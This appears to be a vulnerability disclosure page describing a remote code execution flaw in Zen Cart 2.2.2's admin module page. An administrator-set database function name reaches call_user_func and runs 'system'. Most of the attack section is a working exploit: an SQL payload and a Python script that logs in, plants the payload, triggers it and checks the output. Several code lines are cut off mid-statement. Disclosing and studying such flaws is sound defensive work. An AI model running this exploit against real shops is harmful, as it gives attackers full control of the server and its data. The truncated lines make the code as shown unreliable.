Security Report: Remote Code Execution (RCE) via Unsafe Dynamic Function Call in zen_call_function

Summary

Zen Cart 2.2.2 is vulnerable to Remote Code Execution (RCE) due to an unsafe dynamic function call mechanism in the administrative module management component. An attacker can leverage this to call arbitrary PHP functions with arbitrary arguments.

Details

The vulnerability exists in the interaction between `admin/modules.php` and the helper function `zen_call_function` defined in `admin/includes/functions/general.php`. In `admin/modules.php`, the code retrieves configuration values from the database, including a function name stored in the `use_function` column and a value in the `configuration_value` column. These are passed directly to `zen_call_function`, which executes the function using `call_user_func()`. Since an administrator can modify the database via the "SQL Patch" tool or other means, they can set `use_function` to a dangerous function like `system` and `configuration_value` to a malicious command.

Proof of Concept (PoC)

1. Log in to the Zen Cart admin panel.
2. Use the **SQL Patch** tool (`cmd=sqlpatch`) to inject the payload:

```sql
UPDATE configuration SET use_function = 'system', configuration_value = 'id >
```

3. Navigate to the Shipping Modules page: `index.php?cmd=modules&set=shipping`.
4. The `zen_call_function` will be triggered during the page rendering, executing `system('id > /tmp/rce_call_user_func.txt')`.
5. Check `/tmp/rce_call_user_func.txt` for the command output.

Exploitation Script (rce_call_user_func_poc.py)

```python
import urllib.request, urllib.parse, http.cookiejar, re, os

# --- Configuration ---
BASE_URL = "http://localhost:8000/stomP-LGR-Feast"
HOST_HDR = "localhost:8000"
USER, PASS = "admin", "Admin123@"
RCE_OUT = "/tmp/call_user_func_rce.txt"
# We target Free Shipper module as it uses 'use_function'
CONFIG_KEY = "MODULE_SHIPPING_FREESHIPPER_ZONE"

# --- Session Initialization ---
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

def req(url, data=None, headers=None):
    if data and isinstance(data, dict):
        data = urllib.parse.urlencode(data).encode()
    r = urllib.request.Request(url, data=data)
    r.add_header("Host", HOST_HDR)
    if headers:
        for k, v in headers.items():
            r.add_header(k, v)
    return opener.open(r).read().decode(errors='ignore')

try:
    if os.path.exists(RCE_OUT): os.remove(RCE_OUT)
```

```
    # 1. Login
    print("[*] Logging in...")
    login_html = req(f"{BASE_URL}/index.php?cmd=login")
    token = re.search(r'securityToken" value="([^"]+)"', login_html).group(1)
    req(f"{BASE_URL}/index.php?cmd=login", {"admin_name": USER, "admin_pass": P

    # 2. Get SQL Patch token
    print("[*] Accessing SQL Patch tool...")
    patch_html = req(f"{BASE_URL}/index.php?cmd=sqlpatch")
    patch_token = re.search(r'securityToken" value="([^"]+)"', patch_html).grou

    # 3. Plant RCE payload via SQL Patch
    # We set use_function to 'system' and value to our command
    print(f"[*] Planting payload in {CONFIG_KEY}...")
    cmd = f"id > {RCE_OUT}"
    sql = f"UPDATE configuration SET use_function = 'system', configuration_val
    req(f"{BASE_URL}/index.php?cmd=sqlpatch&action=execute", {"securityToken":

    # 4. Trigger RCE via Modules page
    # The 'use_function' is called when the module list is rendered
    print("[*] Triggering RCE via Modules page...")
    # Visiting the shipping modules list will trigger zen_call_function('system
    req(f"{BASE_URL}/index.php?cmd=modules&set=shipping")

    # 5. Verify result
    if os.path.exists(RCE_OUT):
        print(f"[+] Success! RCE output: {open(RCE_OUT).read().strip()}")
    else:
        print("[-] RCE failed. Check if the module is installed or if the user

finally:
    # Cleanup
    print("[*] Cleaning up database...")
    os.system(f"mysql -u zencart -pzencart zencart -e \"UPDATE configuration SE
```

Impact

This vulnerability allows authenticated administrators (or attackers who can modify the database) to execute arbitrary system commands on the server. This results in full compromise of the web server, data breach, and potential persistent access.

Weakness

- **CWE-94:** Improper Control of Generation of Code ('Code Injection')

Previous page
RCE via Unsafe eval()

Next page
RCE via Arbitrary File Write